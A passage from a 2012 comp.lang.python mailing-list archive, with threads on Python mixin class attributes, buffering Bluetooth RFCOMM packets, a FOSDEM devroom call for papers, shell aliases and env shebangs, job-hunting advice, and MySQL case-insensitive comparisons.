'Control', 'a C0 or C1 control code'), # a.k.a. cntrl 'Cf': r('Format', 'Format', 'a format control character'), 'Cn': r('Unassigned', 'Unassigned', 'a reserved unassigned code point or a noncharacter'), 'Co': r('Private Use', 'Private_Use', 'a private-use character'), 'Cs': r('Surrogate', 'Surrogate', 'a surrogate code point'), 'L' : r('Letter', 'Letter', 'Ll | Lm | Lo | Lt | Lu'), 'LC': r('Letter, Cased', 'Cased_Letter', 'Ll | Lt | Lu'), 'Ll': r('Letter, Lowercase', 'Lowercase_Letter', 'a lowercase letter'), 'Lm': r('Letter, Modifier', 'Modifier_Letter', 'a modifier letter'), 'Lo': r('Letter, Other', 'Other_Letter', 'other letters, including syllables and ideographs'), 'Lt': r('Letter, Titlecase', 'Titlecase_Letter', 'a digraphic character, with first part uppercase'), 'Lu': r('Letter, Uppercase', 'Uppercase_Letter', 'an uppercase letter'), 'M' : r('Mark', 'Mark', 'Mc | Me | Mn '), # a.k.a. Combining_Mark 'Mc': r('Mark, Spacing', 'Spacing_Mark', 'a spacing combining mark (positive advance width)'), 'Me': r('Mark, Enclosing', 'Enclosing_Mark', 'an enclosing combining mark'), 'Mn': r('Mark, Nonspacing', 'Nonspacing_Mark', 'a nonspacing combining mark (zero advance width)'), 'N' : r('Number', 'Number', 'Nd | Nl | No'), 'Nd': r('Number, Decimal', 'Decimal_Number', 'a decimal digit'), # a.k.a. digit 'Nl': r('Number, Letter', 'Letter_Number', 'a letterlike numeric character'), 'No': r('Number, Other', 'Other_Number', 'a numeric character of other type'), 'P' : r('Punctuation', 'Punctuation', 'Pc | Pd | Pe | Pf | Pi | Po | Ps'), # a.k.a. punct 'Pc': r('Punctuation, Connector', 'Connector_Punctuation', 'a connecting punctuation mark, like a tie'), 'Pd': r('Punctuation, Dash', 'Dash_Punctuation', 'a dash or hyphen punctuation mark'), 'Pe': r('Punctuation, Close', 'Close_Punctuation', 'a closing punctuation mark (of a pair)'), 'Pf': r('Punctuation, Final', 'Final_Punctuation', 'a final quotation mark'), 'Pi': r('Punctuation, Initial', 'Initial_Punctuation', 'an initial quotation mark'), 'Po': r('Punctuation, Other', 'Other_Punctuation', 'a punctuation mark of other type'), 'Ps': r('Punctuation, Open', 'Open_Punctuation', 'an opening punctuation mark (of a pair)'), 'S' : r('Symbol', 'Symbol', 'Sc | Sk | Sm | So'), 'Sc': r('Symbol, Currency', 'Currency_Symbol', 'a currency sign'), 'Sk': r('Symbol, Modifier', 'Modifier_Symbol', 'a non-letterlike modifier symbol'), 'Sm': r('Symbol, Math', 'Math_Symbol', 'a symbol of mathematical use'), 'So': r('Symbol, Other', 'Other_Symbol', 'a symbol of other type'), 'Z' : r('Separator', 'Separator', 'Zl | Zp | Zs'), 'Zl': r('Separator, Line', 'Line_Separator', 'U+2028 LINE SEPARATOR only'), 'Zp': r('Separator, Paragraph', 'Paragraph_Separator', 'U+2029 PARAGRAPH SEPARATOR only'), 'Zs': r('Separator, Space', 'Space_Separator', 'a space character (of various non-zero widths)'), } del r Usage is then trivially the same as normal dict and attribute access: py> GC['Ps'].desc 'an opening punctuation mark (of a pair)' -- Steven From andrew3 at r3dsolutions.com Thu Dec 13 19:16:13 2012 From: andrew3 at r3dsolutions.com (Andrew Robinson) Date: Thu, 13 Dec 2012 16:16:13 -0800 Subject: Running a python script under Linux In-Reply-To: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50CA6FCD.2030707@r3dsolutions.com> On 12/13/2012 06:45 PM, Steven D'Aprano wrote: > What am I doing wrong? > > By the way, I didn't include command line parameters as part of the function definition, so you might want to add them to insure it acts like a generic alias. Also, (alternately), you could define a generic python shell script/import with the duty of checking for a compatible python version; and if the wrong one is executing -- it could then import the shell command execution function, and *fork* the correct version of python on the script; then it could exit. ... or whatever.... ;) From mickyhulse.lists at gmail.com Thu Dec 13 19:20:51 2012 From: mickyhulse.lists at gmail.com (Micky Hulse) Date: Thu, 13 Dec 2012 16:20:51 -0800 Subject: OOP noob question: Mixin properties In-Reply-To: References: Message-ID: Learning things here... In my mixin class (a version I wrote for Django) I had this (indentation removed for better list readability): class JSONResponseMixin(object): def __init__(self): self._cache = False self._cache_timeout = 86400 self._cache_key = None @property def cache(self): return self._cache @cache.setter def cache(self, value): self._cache = value @cache.deleter def cache(self): del self._cache @property def cache_timeout(self): return self._cache_timeout @cache_timeout.setter def cache_timeout(self, value): self._cache_timeout = value @cache_timeout.deleter def cache_timeout(self): del self._cache_timeout @property def cache_key(self): return self._cache_key @cache_key.setter def cache_key(self, value): self._cache_key = value @cache_key.deleter def cache_key(self): del self._cache_key # ... ...which works! But, then I looked here: Simply doing this: class JSONResponseMixin(object): cache = False cache_timeout = 86400 # 24 hours. cache_key = None # ... ...works just as good! Not to mention, it's less verbose. So, from my view class: class Api(jmix.JSONResponseMixin, BaseDetailView): # ... self.cache = True self.cache_timeout = 864000 self.cache_key = 'foo:bar:baz' # ... return self.render_to_response(data) I guess I wanted to run my ideas by the Python gurus just to make sure I was not doing crazy stuff here... The above seems better than taking the more functional approach: return self.render_to_response(data, cache, cache_timeout, cache_key) Then again, maybe the more functional approach is better for its simplicity? Hopefully I'm not boring ya'll to death. :D M From python at mrabarnett.plus.com Thu Dec 13 19:49:39 2012 From: python at mrabarnett.plus.com (MRAB) Date: Fri, 14 Dec 2012 00:49:39 +0000 Subject: Python parsing Bluetooth RFCOMM for 9 bytes In-Reply-To: <407a1c37-8b64-480d-b84a-d3215df81ad6@googlegroups.com> References: <407a1c37-8b64-480d-b84a-d3215df81ad6@googlegroups.com> Message-ID: <50CA77A3.8000802@mrabarnett.plus.com> On 2012-12-14 00:00, Barry Dick wrote: > My data looks like this when it comes from the device (biofeedback device). There are 9 bytes in total, and I need to buffer so much, and then poll it for new/recent packets. The start packet unfortunately starts with 0x00 > > So far the only thing I've found that looks like what I want to do is this, but I don't know how to implement it. http://code.activestate.com/recipes/408859/ > > > Data: [0000002d0270025e00] > Data: [0001004a0006026547] > Data: [0002004b000a026343] > Data: [00] > Data: [03004f0006025b4a00] > Data: [046698000802569d00] > Data: [00003002830257f100] > Data: [01004a000602585400] > Data: [020048000a025b4e00] > Data: [03004b0006025b4e00] > Data: [046698000702579d00] > Data: [00002f027602480e00] > Data: [01004a0006024b61] > Data: [0002004a000a025552] > Data: [0003004b0006025752] > Data: [00046698000702569e] > Data: [0000002c025b025321] > Data: [00010048000602505e] > > My code so far looks like this... > > import bluetooth, sys, time, os, binascii, struct; > > # Create the client socket > client_socket=BluetoothSocket( RFCOMM ) > > client_socket.connect(("10:00:E8:AC:4D:D0", 1)) > > data = "" > try: > while True: > try: > data = client_socket.recv(9) > except bluetooth.BluetoothError, b: > print "Bluetooth Error: ", b > > if len(data) > 0: > print "Data: [%s]" % binascii.hexlify(data) > > except KeyboardInterrupt: > #print "Closing socket...", > client_socket.close() > #print "done." > Is the following more like how you want it? data = "" try: while True: try: more = client_socket.recv(9) except bluetooth.BluetoothError, b: print "Bluetooth Error: ", b else: data += more while len(data) >= 9: print "Data: [%s]" % binascii.hexlify(data[ : 9]) data = data[9 : ] except KeyboardInterrupt: #print "Closing socket...", client_socket.close() #print "done." You could, of course, decide to recv more than 9 bytes at a time. It could return less than you asked for (but it should block until at least 1 byte is available), but it will never return more than you asked for. From steve+comp.lang.python at pearwood.info Thu Dec 13 19:53:04 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 14 Dec 2012 00:53:04 GMT Subject: OOP noob question: Mixin properties References: Message-ID: <50ca7870$0$29980$c3e8da3$5496439d@news.astraweb.com> On Thu, 13 Dec 2012 16:20:51 -0800, Micky Hulse wrote: > Learning things here... > > In my mixin class (a version I wrote for Django) I had this (indentation > removed for better list readability): Indentation is important. Please don't remove it. I've added it back in below: > class JSONResponseMixin(object): > def __init__(self): > self._cache = False > self._cache_timeout = 86400 > self._cache_key = None > @property > def cache(self): > return self._cache > @cache.setter > def cache(self, value): > self._cache = value > @cache.deleter > def cache(self): > del self._cache [...] The use of @property here doesn't give you any benefit (except, maybe, if you are paid by the line of code). Better to just expose the "cache" attribute directly, and likewise for the others. If, in the future, you need to turn them into computed properties, you can easily do so. But for now: class JSONResponseMixin(object): def __init__(self): self.cache = False self.cache_timeout = 86400 self.cache_key = None and you're done. [...] > ...which works! But, then I looked here: > > > > Simply doing this: > class JSONResponseMixin(object): > cache = False > cache_timeout = 86400 # 24 hours. > cache_key = None > ...works just as good! Not to mention, it's less verbose. Yes. But keep in mind that there is a slight difference between what you have here and what I suggested above. In my code above, the cache attributes are defined on a per-instance basis. Each instance will have its own set of three cache* attributes. In the version directly above, there is a single set of cache* attributes shared by all JSONResponseMixin instances. Will this make any practical difference? Probably not. Most importantly, if you write: instance = Api() # class includes JSONResponseMixin instance.cache = True then the assignment to an attribute will create a non-shared per-instance attribute which overrides the class-level shared attribute. This is almost certainly the behaviour that you want. So this is a good example of using class attributes to implement shared default state. There is one common place where the use of shared class attributes can lead to surprising results: if the class attribute is a mutable object such as a list or a dict, it may not behave the way you expect. That is because only *assignment* creates a new per-instance attribute: instance.attribute = "spam spam spam" # overrides the class attribute while modifying the attribute in place does not: instance.shared_list.append("spam spam spam") # every instance of the class will now see the change Apart from that Gotcha, the use of shared class attributes to implement default behaviour is perfectly acceptable. > I guess I wanted to run my ideas by the Python gurus just to make sure I > was not doing crazy stuff here... Seems fine to me. > The above seems better than taking the more functional approach: > > return self.render_to_response(data, cache, cache_timeout, cache_key) > > Then again, maybe the more functional approach is better for its > simplicity? I actually prefer a functional response, up to the point where I'm passing so many arguments to functions that I can't keep track of what's what. Then I refactor into a class. > Hopefully I'm not boring ya'll to death. :D No worries :-) -- Steven From stephane.wirtel at gmail.com Thu Dec 13 20:43:09 2012 From: stephane.wirtel at gmail.com (=?ISO-8859-1?Q?St=E9phane_Wirtel?=) Date: Fri, 14 Dec 2012 02:43:09 +0100 Subject: Call for Papers - FOSDEM 2013 - Python Devroom Message-ID: <50CA842D.4080505@gmail.com> Hi all, This is the official call for sessions for the FOSDEM 2013 [1] python devroom. This year, Python will be represented by its Community. If you want to discuss with a lot of Python Users, it's the place to be in February ! Like every year, FOSDEM [1] will take place the first week-end of February in Brussels (Belgium). We will have a room in the K building (80 seats). This dev room will be open all day Sunday, February 3rd. If you want to hold a session in the Python devroom, please fill this survey [2] Call for Papers is open until December 21st This year, the submissions will be reviewed by a committee: * Tarek Ziade - https://twitter.com/tarek_ziade (Mozilla) * Ludovic Gasc - https://twitter.com/GMLudo (Eyepea) * Christophe Simonis - https://twitter.com/KangOl (OpenERP) * Stephane Wirtel - https://twitter.com/matrixise (OpenERP) Thank you for submitting your sessions and see you soon in Brussels to talk Python and/or have some nice Belgian Beers. [1] http://fosdem.org/2013/ [2] http://python-fosdem.org Here is the link of this announce: http://wirtel.be/posts/en/2012/11/20/call_of_papers_fosdem_2013/ Please, could you share this information, thank you Best regards, Stephane Wirtel (@matrixise) From steve+comp.lang.python at pearwood.info Thu Dec 13 21:45:18 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 14 Dec 2012 02:45:18 GMT Subject: Running a python script under Linux Message-ID: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> I understand this is not exactly a Python question, but it may be of interest to other Python programmers, so I'm asking it here instead of a more generic Linux group. I have a Centos system which uses Python 2.4 as the system Python, so I set an alias for my personal use: [steve at ando ~]$ which python alias python='python2.7' /usr/local/bin/python2.7 When I call "python some_script.py" from the command line, it runs under Python 2.7 as I expected. So I give the script a hash-bang line: #!/usr/bin/env python and run the script directly, but instead of getting Python 2.7, it runs under Python 2.4 and gives me system errors. When I run env directly, it ignores my alias: steve at ando ~]$ /usr/bin/env python -V Python 2.4.3 What am I doing wrong? -- Steven From suresh.pinnapa at gmail.com Thu Dec 13 21:49:32 2012 From: suresh.pinnapa at gmail.com (suresh.pinnapa at gmail.com) Date: Thu, 13 Dec 2012 18:49:32 -0800 (PST) Subject: What are the minimum requirements to get a job in? Message-ID: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> My aim is to get a job into google or cisco or facebok. I have basic knowledge in python,c,java and good in javascript,html,css, database concepts. If i learn django and python. Shall I get my dream job? Please suggest me From frednotbob at hotmail.ca Thu Dec 13 22:01:29 2012 From: frednotbob at hotmail.ca (Graham Fielding) Date: Thu, 13 Dec 2012 19:01:29 -0800 Subject: What are the minimum requirements to get a job in? In-Reply-To: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: > Date: Thu, 13 Dec 2012 18:49:32 -0800 > Subject: What are the minimum requirements to get a job in? > From: suresh.pinnapa at gmail.com > To: python-list at python.org > > My aim is to get a job into google or cisco or facebok. > I have basic knowledge in python,c,java and good in javascript,html,css, database concepts. > If i learn django and python. Shall I get my dream job? > > Please suggest me > -- > http://mail.python.org/mailman/listinfo/python-list You'd need a fair bit of industry cred to get picked up at a place like Google, I'd imagine. By all means, keep pursuing your dream, but temper your expectations. -------------- next part -------------- An HTML attachment was scrubbed... URL: From gdonald at gmail.com Thu Dec 13 22:25:24 2012 From: gdonald at gmail.com (Greg Donald) Date: Thu, 13 Dec 2012 21:25:24 -0600 Subject: What are the minimum requirements to get a job in? In-Reply-To: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: On Thu, Dec 13, 2012 at 8:49 PM, wrote: > My aim is to get a job into google or cisco or facebok. I made it to the 4th interview with Google. When they say they want a "developer" they really mean they want a developer/sysadmin/kernel hacker/c/c++ guru. I nailed all the Python questions in interviews #2 and #3, but then at interview #4 they started asking inode questions, how to implement a compiler, how to design my own version of memcopy(), etc. It didn't really matter to them that I had 2M downloads on Google Play, or that I knew Ruby, Rails, Python, Django, PHP, iOS and Java.. I didn't know how to move 2GBs of memory from here to there without using memcopy(), so that was that :( > I have basic knowledge in python,c,java and good in javascript,html,css, > database concepts. My story above was a preface to the fact that "basic knowledge" usually isn't enough for hot tech companies like Google. From what I understand Facebook is becoming more C and less PHP all the time. And I imagine they use a lot of C and assembly at Cisco since that's mostly embedded device work. > If i learn django and python. Shall I get my dream job? Doubt it, but good luck all the same :) > Please suggest me Visit their job boards. -- Greg Donald From d at davea.name Thu Dec 13 22:33:23 2012 From: d at davea.name (Dave Angel) Date: Thu, 13 Dec 2012 22:33:23 -0500 Subject: What are the minimum requirements to get a job in? In-Reply-To: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <50CA9E03.8040005@davea.name> On 12/13/2012 09:49 PM, suresh.pinnapa at gmail.com wrote: > My aim is to get a job into google or cisco or facebok. > I have basic knowledge in python,c,java and good in javascript,html,css, database concepts. > If i learn django and python. Shall I get my dream job? > > Please suggest me You didn't say what your dream job is, but I'll assume it's as a software Engineer. You also didn't say at what level you expect to start. There are lots more questions than what you've answered so far. Like what degree do you have, and from where? Can you read/hear and understand English quickly, both written and verbal? Can you write correct English (as opposed to what we see here on the forum)? Can you write a good resume, and a great cover letter? Do you know any one computer language thoroughly? Or just a little of many languages? Have you ever worked in assembly code? Do you know what a transistor is? Have you ever built a compiler or a debugger? Have you ever written code that has to run in very little memory (like less than 4k)? Have you ever worked on projects where the end result had to have 100% reliability? Have you written multithreaded code? Have you worked on multiple operating systems? Have you ever read Knuth? Or P.J. Plauger? Or Sedgewick? Can you explain (roughly) Huffman encoding? (I looked up Huffman's paper (I think it was written in 1952, in IRE) and studied it, about 25 years ago) Have you ever worked with the public? Have you ever debugged somebody else's code that was over 200k LOC? Do you have good references from past jobs, and are those jobs relevant to what you hope to be hired to do? Do you belong to any professional organizations, did you get any honors in college? Do you have any industry honors, either from patents, or from ACM or other recognized organizations. Can you point to projects where you've made a substantial and identifiable contribution, and describe those contributions in terms that will interest your prospective employer? Are you personable, and can you participate in a debate with someone who seems to deliberately be trying to trip you up? If you have opinions or preferences, can you explain clearly why you have them? Can you interact with an interviewer as an equal, respectful but not subservient? Perhaps most important, have you worked with somebody who really liked what you do and who now works at one of these companies, in a place where his recommendation will help? The best jobs are seldom given to people who send in a resume blind, or who work through ordinary headhunters. These and many other questions, plus luck, patience and persistence will determine whether you get that dream job. -- DaveA From cs at zip.com.au Thu Dec 13 22:35:47 2012 From: cs at zip.com.au (Cameron Simpson) Date: Fri, 14 Dec 2012 14:35:47 +1100 Subject: MySQLdb compare lower In-Reply-To: References: Message-ID: <20121214033546.GA23584@cskk.homeip.net> On 13Dec2012 18:39, Dennis Lee Bieber wrote: | On Thu, 13 Dec 2012 18:00:48 +1100, Cameron Simpson | declaimed the following in gmane.comp.python.general: | > On 12Dec2012 02:03, Dennis Lee Bieber wrote: | > | According to the old "MySQL Language Reference" | > | """ | > | By default, string comparisons are not case sensitive and will use the | > | current character set (ISO-8859-1 Latin1 by default, which also works | > | excellently for English). | > | """ | > | > I'm flabbergasted. [... consults the internets ...] It is still the case | > today:-( Ouch. | > | I just checked... The book I referenced was the blue&white published | by the late MySQL AB -- and the book claims to cover up to v5.0.1... I | thought it was just the end of the 4.x branch (like the old brown | O'Reilly/MySQL AB book was middle era of 4.x) My checking was for MySQL 5.5. Still case insensitive. -- Cameron Simpson 'Soup: This is the one that Kawasaki sent out pictures, that looks so beautiful. Yanagawa: Yes, everybody says it's beautiful - but many problems! 'Soup: But you are not part of the design team, you're just a test rider. Yanagawa: Yes. I just complain. - _Akira Yanagawa Sounds Off_ @ www.amasuperbike.com From d at davea.name Thu Dec 13 22:53:06 2012 From: d at davea.name (Dave Angel) Date: Thu, 13 Dec 2012 22:53:06 -0500 Subject: What are the minimum requirements to get a job in? In-Reply-To: <50CA9E03.8040005@davea.name> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <50CA9E03.8040005@davea.name> Message-ID: <50CAA2A2.4030302@davea.name> On 12/13/2012 10:33 PM, Dave Angel wrote: > On 12/13/2012 09:49 PM, suresh.pinnapa at gmail.com wrote: >> My aim is to get a job into google or cisco or facebok. >> I have basic knowledge in python,c,java and good in javascript,html,css, database concepts. >> If i learn django and python. Shall I get my dream job? >> >> Please suggest me > You didn't say what your dream job is, but I'll assume it's as a > software Engineer. You also didn't say at what level you expect to start. > > There are lots more questions than what you've answered so far. Like > what degree do you have, and from where? Can you read/hear and > understand English quickly, both written and verbal? Can you write > correct English (as opposed to what we see here on the forum)? Can you > write a good resume, and a great cover letter? > > Do you know any one computer language thoroughly? Or just a little of > many languages? > > Have you ever worked in assembly code? Do you know what a transistor > is? Have you ever built a compiler or a debugger? Have you ever > written code that has to run in very little memory (like less than 4k)? > Have you ever worked on projects where the end result had to have 100% > reliability? Have you written multithreaded code? Have you worked on > multiple operating systems? > > Have you ever read Knuth? Or P.J. Plauger? Or Sedgewick? Can you > explain (roughly) Huffman encoding? (I looked up Huffman's paper (I > think it was written in 1952, in IRE) and studied it, about 25 years ago) > > Have you ever worked with the public? Have you ever debugged somebody > else's code that was over 200k LOC? > > Do you have good references from past jobs, and are those jobs relevant > to what you hope to be hired to do? Do you belong to any professional > organizations, did you get any honors in college? Do you have any > industry honors, either from patents, or from ACM or other recognized > organizations. > > Can you point to projects where you've made a substantial and > identifiable contribution, and describe those contributions in terms > that will interest your prospective employer? > > Are you personable, and can you participate in a debate with someone who > seems to deliberately be trying to trip you up? If you have opinions or > preferences, can you explain clearly why you have them? Can you > interact with an interviewer as an equal, respectful but not subservient? > > Perhaps most important, have you worked with somebody who really liked > what you do and who now works at one of these companies, in a place > where his recommendation will help? The best jobs are seldom given to > people who send in a resume blind, or who work through ordinary headhunters. > > These and many other questions, plus luck, patience and persistence will > determine whether you get that dream job. > I should have pointed out that there's no need to have 100% on these. But there will be a similar list for any good job, and each hiring manager will have some things which are just plain mandatory. But most important is that you can discuss intelligently what you have done, and what you do know. I've been hired in several positions where I didn't match the "requirements" in the least, but talked them into it anyway. And I've turned down at least one job when I discovered they wanted me for what I already knew. It used to be that if you could just get any job at a company, you could eventually earn your way into the perfect spot. But that's frequently not true anymore. You also should spend some serious energy trying to decide what your perfect job would be like. I once gave 49 subordinates to a new person i hired, and stepped into a new position for which I wrote the HR job description. It was either that or take on 30 more, and I didn't want to manage any more. I was working for over 20 years before the first time I ever wanted my boss' job. And I got over that quickly. -- DaveA From michaelsafyan at gmail.com Thu Dec 13 23:06:36 2012 From: michaelsafyan at gmail.com (michaelsafyan at gmail.com) Date: Thu, 13 Dec 2012 20:06:36 -0800 (PST) Subject: What are the minimum requirements to get a job in? In-Reply-To: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <5681276f-4f32-4522-ab42-5477a8a96375@googlegroups.com> Hi, Suresh. I don't know about the hiring practices at Cisco or Facebook, but at Google, the particular language or technology matters far less in an interview than general coding ability, algorithmic understanding, and system design fundamentals. To be sure, Python is an awesome language to learn (if I didn't think so, I would not have subscribed to this mailing list) and Django is quite useful, but my advice to you would be to gain as much practical experience writing code as possible and to really solidify your understanding of algorithms, data structures, and analysis of their runtime and memory performance. You can find out more about jobs at Google at http://jobs.google.com/ - Michael Safyan http://gplus.to/michaelsafyan P.S. Responding just as myself; not an official Google response. From rosuav at gmail.com Thu Dec 13 23:16:54 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 14 Dec 2012 15:16:54 +1100 Subject: MySQLdb compare lower In-Reply-To: <20121214033546.GA23584@cskk.homeip.net> References: <20121214033546.GA23584@cskk.homeip.net> Message-ID: On Fri, Dec 14, 2012 at 2:35 PM, Cameron Simpson wrote: > On 13Dec2012 18:39, Dennis Lee Bieber wrote: > | On Thu, 13 Dec 2012 18:00:48 +1100, Cameron Simpson > | declaimed the following in gmane.comp.python.general: > | > On 12Dec2012 02:03, Dennis Lee Bieber wrote: > | > | According to the old "MySQL Language Reference" > | > | """ > | > | By default, string comparisons are not case sensitive and will use the > | > | current character set (ISO-8859-1 Latin1 by default, which also works > | > | excellently for English). > | > | """ > | > > | > I'm flabbergasted. [... consults the internets ...] It is still the case > | > today:-( Ouch. > | > > | I just checked... The book I referenced was the blue&white published > | by the late MySQL AB -- and the book claims to cover up to v5.0.1... I > | thought it was just the end of the 4.x branch (like the old brown > | O'Reilly/MySQL AB book was middle era of 4.x) > > My checking was for MySQL 5.5. Still case insensitive. Yeah, it's one of the things that tripped me up when I did a MySQL->PostgreSQL conversion earlier this year. The code was assuming case insensitivity, and began failing on PG. Fortunately the simple change of LIKE to ILIKE solved that. I'd MUCH rather be explicit about wanting case insensitivity. I wonder who would go insane first if I ran an app using Wine under Linux in a directory that's mounted via cifs from a Windows or OS/2 box... (And yes, I have that setup, ready to go. Only there's an extra level of indirection - I'd run it in an sshfs mount that points to my proxy box. Extra safety, keeps messy networking away from my real boxes.) ChrisA From cs at zip.com.au Thu Dec 13 23:36:11 2012 From: cs at zip.com.au (Cameron Simpson) Date: Fri, 14 Dec 2012 15:36:11 +1100 Subject: Running a python script under Linux In-Reply-To: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <20121214043610.GA28405@cskk.homeip.net> On 14Dec2012 02:45, Steven D'Aprano wrote: | I understand this is not exactly a Python question, but it may be of | interest to other Python programmers, so I'm asking it here instead of a | more generic Linux group. | | I have a Centos system which uses Python 2.4 as the system Python, so I | set an alias for my personal use: | | [steve at ando ~]$ which python | alias python='python2.7' | /usr/local/bin/python2.7 | | | When I call "python some_script.py" from the command line, it runs under | Python 2.7 as I expected. So I give the script a hash-bang line: | | #!/usr/bin/env python | | and run the script directly, but instead of getting Python 2.7, it runs | under Python 2.4 and gives me system errors. | | When I run env directly, it ignores my alias: | | steve at ando ~]$ /usr/bin/env python -V | Python 2.4.3 | | | What am I doing wrong? You're assuming aliases are exported. They are not. (I've seen ksh present exportable aliases, but IMO it is a bad idea anyway.) You're (slightly) better off putting a python symlink in /usr/local/bin, but that may break arbitrary other things (as, indeed, would your #! incantation were it effective). Also a bad idea though. Regarding aliases, I would make a "py27" alias for my personal typing convenience perhaps, but _not_ try to make the command "python" run anything but the system default python (24, as you say). When I need a particular minimum revision of python I use one of my "py25+", "py26+", "py27+", "py30+" etc wrapper scripts. Code for "py25+" here: https://bitbucket.org/cameron_simpson/css/src/tip/bin/py25+ This has the advantages of not conflicting with a system name like "python" and also is usable with your #! incantation, which requires an executable file after "env". Cheers, -- Carpe Datum - John Sloan From barryd.it at gmail.com Fri Dec 14 00:25:53 2012 From: barryd.it at gmail.com (Barry Dick) Date: Thu, 13 Dec 2012 21:25:53 -0800 (PST) Subject: Python parsing Bluetooth RFCOMM for 9 bytes In-Reply-To: References: <407a1c37-8b64-480d-b84a-d3215df81ad6@googlegroups.com> Message-ID: <43e9513f-c8c9-4c6b-8fdc-db1301837525@googlegroups.com> > Is the following more like how you want it? > > > > data = "" > > try: > > while True: > > try: > > more = client_socket.recv(9) > > except bluetooth.BluetoothError, b: > > print "Bluetooth Error: ", b > > else: > > data += more > > > > while len(data) >= 9: > > print "Data: [%s]" % binascii.hexlify(data[ : 9]) > > data = data[9 : ] > > except KeyboardInterrupt: > > #print "Closing socket...", > > client_socket.close() > > #print "done." > > > > You could, of course, decide to recv more than 9 bytes at a time. It > > could return less than you asked for (but it should block until at > > least 1 byte is available), but it will never return more than you > > asked for. Thank you for your interest and quick reply. Its a great start, seeing as I'm a beginner with python, I was actually hoping to see an example of http://code.activestate.com/recipes/408859/ as it appears to be exactly what I need, but I haven't got a clue how to implement it. Basically as each byte perhaps gets read or 9 bytes at a time, that way I can seek out as much real data as possible Data: [0000002c025b025321] Data: [00010048000602505e] Data: [0002004a000a025552] Data: [0003004b0006025752] Data: [00046698000702569e] (notice the header data[9:1] will always flow in this pattern 0 -> 4 and then back again, so I figure that might as well be my start) And skip the errors... Data: [0002004b000a026343] Data: [00] Data: [03004f0006025b4a00] Data: [046698000802569d00] Data: [00003002830257f100] From barryd.it at gmail.com Fri Dec 14 00:25:53 2012 From: barryd.it at gmail.com (Barry Dick) Date: Thu, 13 Dec 2012 21:25:53 -0800 (PST) Subject: Python parsing Bluetooth RFCOMM for 9 bytes In-Reply-To: References: <407a1c37-8b64-480d-b84a-d3215df81ad6@googlegroups.com> Message-ID: <43e9513f-c8c9-4c6b-8fdc-db1301837525@googlegroups.com> > Is the following more like how you want it? > > > > data = "" > > try: > > while True: > > try: > > more = client_socket.recv(9) > > except bluetooth.BluetoothError, b: > > print "Bluetooth Error: ", b > > else: > > data += more > > > > while len(data) >= 9: > > print "Data: [%s]" % binascii.hexlify(data[ : 9]) > > data = data[9 : ] > > except KeyboardInterrupt: > > #print "Closing socket...", > > client_socket.close() > > #print "done." > > > > You could, of course, decide to recv more than 9 bytes at a time. It > > could return less than you asked for (but it should block until at > > least 1 byte is available), but it will never return more than you > > asked for. Thank you for your interest and quick reply. Its a great start, seeing as I'm a beginner with python, I was actually hoping to see an example of http://code.activestate.com/recipes/408859/ as it appears to be exactly what I need, but I haven't got a clue how to implement it. Basically as each byte perhaps gets read or 9 bytes at a time, that way I can seek out as much real data as possible Data: [0000002c025b025321] Data: [00010048000602505e] Data: [0002004a000a025552] Data: [0003004b0006025752] Data: [00046698000702569e] (notice the header data[9:1] will always flow in this pattern 0 -> 4 and then back again, so I figure that might as well be my start) And skip the errors... Data: [0002004b000a026343] Data: [00] Data: [03004f0006025b4a00] Data: [046698000802569d00] Data: [00003002830257f100] From frank at chagford.com Fri Dec 14 01:13:49 2012 From: frank at chagford.com (Frank Millman) Date: Fri, 14 Dec 2012 08:13:49 +0200 Subject: MySQLdb compare lower In-Reply-To: References: <20121214033546.GA23584@cskk.homeip.net> Message-ID: On 14/12/2012 06:16, Chris Angelico wrote: > > Yeah, it's one of the things that tripped me up when I did a > MySQL->PostgreSQL conversion earlier this year. The code was assuming > case insensitivity, and began failing on PG. Fortunately the simple > change of LIKE to ILIKE solved that. > > I'd MUCH rather be explicit about wanting case insensitivity. Just as a side-note, for those who may be interested - PostgreSQL allows you to create an index using an expression. Therefore you can say - CREATE INDEX ndx ON table_name (LOWER(col_name)) Then you can SELECT ... WHERE LOWER(col_name) = LOWER(%s), and it will use the index, so it is not necessary to coerce the data to lower case before storing. Frank Millman From rustompmody at gmail.com Fri Dec 14 01:13:56 2012 From: rustompmody at gmail.com (rusi) Date: Thu, 13 Dec 2012 22:13:56 -0800 (PST) Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> On Dec 14, 8:33?am, Dave Angel wrote: > Do you know any one computer language thoroughly? ?Or just a little of > many languages? There is a quote by Bruce Lee to the effect: I am not afraid of the man who knows 10,000 kicks I am afraid of the man who has practised 1 kick 10,000 times From jeanpierreda at gmail.com Fri Dec 14 01:56:36 2012 From: jeanpierreda at gmail.com (Devin Jeanpierre) Date: Fri, 14 Dec 2012 01:56:36 -0500 Subject: What are the minimum requirements to get a job in? In-Reply-To: <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> Message-ID: On Fri, Dec 14, 2012 at 1:13 AM, rusi wrote: > On Dec 14, 8:33 am, Dave Angel wrote: >> Do you know any one computer 